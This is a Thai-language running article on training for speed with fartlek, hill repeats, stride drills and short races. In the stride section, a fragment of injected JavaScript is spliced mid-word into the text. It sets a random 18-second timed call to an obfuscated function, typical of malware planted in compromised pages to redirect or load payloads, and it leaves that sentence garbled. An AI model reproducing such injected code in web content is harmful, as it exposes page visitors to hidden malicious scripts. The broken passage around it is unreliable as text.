นักวิ่งอย่างเราเมื่อเราสร้างพื้นฐานระดับหนึ่งให้กับร่างกาย ระบบแฮร์โรบิค (Aerobic base) และความอึด (Endurance) และวิ่งได้ไกล จุดมุ่งหมายต่อไปก็ที่ทุกคนอยากพัฒนาไปให้ถึงคือ การวิ่งให้เร็วขึ้น
ในการวิ่งให้เร็วขึ้น นั้นหมายถึงเราต้องสับขาให้เร็วขึ้น เพิ่มรอบขาซ้ายขวาๆ ให้เร็วขึ้น…วิธีฝึกเพิ่มรอบขาที่นิยมใช้กันในปัจจุบันได้เเก่
1. Fartlek หรือการฝึก Speed Play เป็นการฝึกวิ่งผสมผสาน pace ช้าเเละเร็ว อาจจะวิ่งเร็วเเบบไต่ระดับความเร็ว หรือช้าสลับความเร็วก็ได้ การฝึกจะทำให้เราอยู่ในโซน aerobic และ anaerobic วิธีการฝึกนี้ใช้ครั้งเเรกโดยโค้ชชาวสวีเดน Gosta Holmer ตัวอย่างเช่น….วิ่งเร็ว 1 นาที ช้า 1 นาที, วิ่งเร็ว 2 นาที ช้า 2 นาที, วิ่งเร็ว 3 นาที ช้า 3 นาที, วิ่งเร็ว 2 นาที ช้า 2 นาที และ วิ่งเร็ว 1 นาที ช้า 1 นาที
การฝึกวิ่ง Fartlek เป็นการสร้าง Speed Endurance ที่ดี และขณะเดียวกันก็เพิ่มความสามารถให้กับนักวิ่งในการ “เปลี่ยนเกียร์” ปรับเปลี่ยน pace เพิ่มสร้างจังหวะในการเร่งความเร็วและผ่อนความเร็ว การฝึกวิ่ง Fartlek มีประโยชน์มากเวลาวิ่งเป็นกลุ่ม เพราะจะทำให้เราสรา้งจังหวะวิ่งหนี ควบคุมความเร็วเเละทำลายจังหวะคู่เเข่ง
2. วิ่งขึ้นเขา หรือภาษาอังกฤษอาจจะเรียกว่า Hills ดีในการฝึกเพื่อเพิ่ม speed-endurance และ strength-endurance เพราะ เวลาวิ่งขึ้นเขาจะมีเเรงต้านทำให้ร่างกายจะได้ฝึกมัดกล้ามเนื้อ (strength-endurance) เเละยิ่งวิ่งให้เร็วเท่าไหร ก็จะให้การฝึกเหมือนๆ กับ Sprinter (speed-endurance) จังหวะสับขาเเกว่งมือไปมาจะเร็วตามเพื่อสู้เเรงต้าน
ในการฝึก เริ่มต้นจากการเลือกเขาเนินต่ำๆ องศาไม่มาก ประมาณใช้เวลาสปินซ์ขึ้นยอด 30-40 วินาทีก็ได้ ไม่ควรใช้เวลาเกิน 1 นาที สำหรับใครที่อยู่ขั้น Advance ไปเเล้วก็สามารถเพิ่มระยะได้ ตามระดับความฟิต…เวลาวิ่งขึ้นเขาเราจะเรียกว่า Run off the top สับขาให้เร็วจนถึงยอดเขา ทำซำ้กัน 6-8 รอบ ในการฝึกวิ่งเเต่ละครั้ง
3. การลงขาหรือ Stride ฝึกการลงเท้า หรือ landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding เท้า เป็น fast running เเต่ไม่ใช้การทำ Sprint เป็นการฝึกรอบขาเช่นกัน…เเต่ทำอย่างไร เราไปดูคลิปของ ครูดินกันดีกว่า
4. Short race สุดท้ายเป็นการเลือกลงสนามระยะสั้นๆ เพื่อฝึกเพิ่มความเร็ว อาจจะเป็น 5K ไปถึง 10K เป็นการลงภาคสนามจริง ฝึกวิ่งในระดับความเร็วที่ตั้งไว้ในระยะทางที่รับได้ เป็นการฝึก ความอึดเเละความเร็วในสถานการณ์จริง ในการวิ่งระยะเเรกอาจจะเริ่มต้นด้วยการวิ่งเเบบ tempo เเล้วค่อยๆ ไต่ความเร็วขึ้น อย่าลืมพกพาลูกทีมเเละเพื่อนๆ ไปช่วยเชียร์ด้วยนะครับ
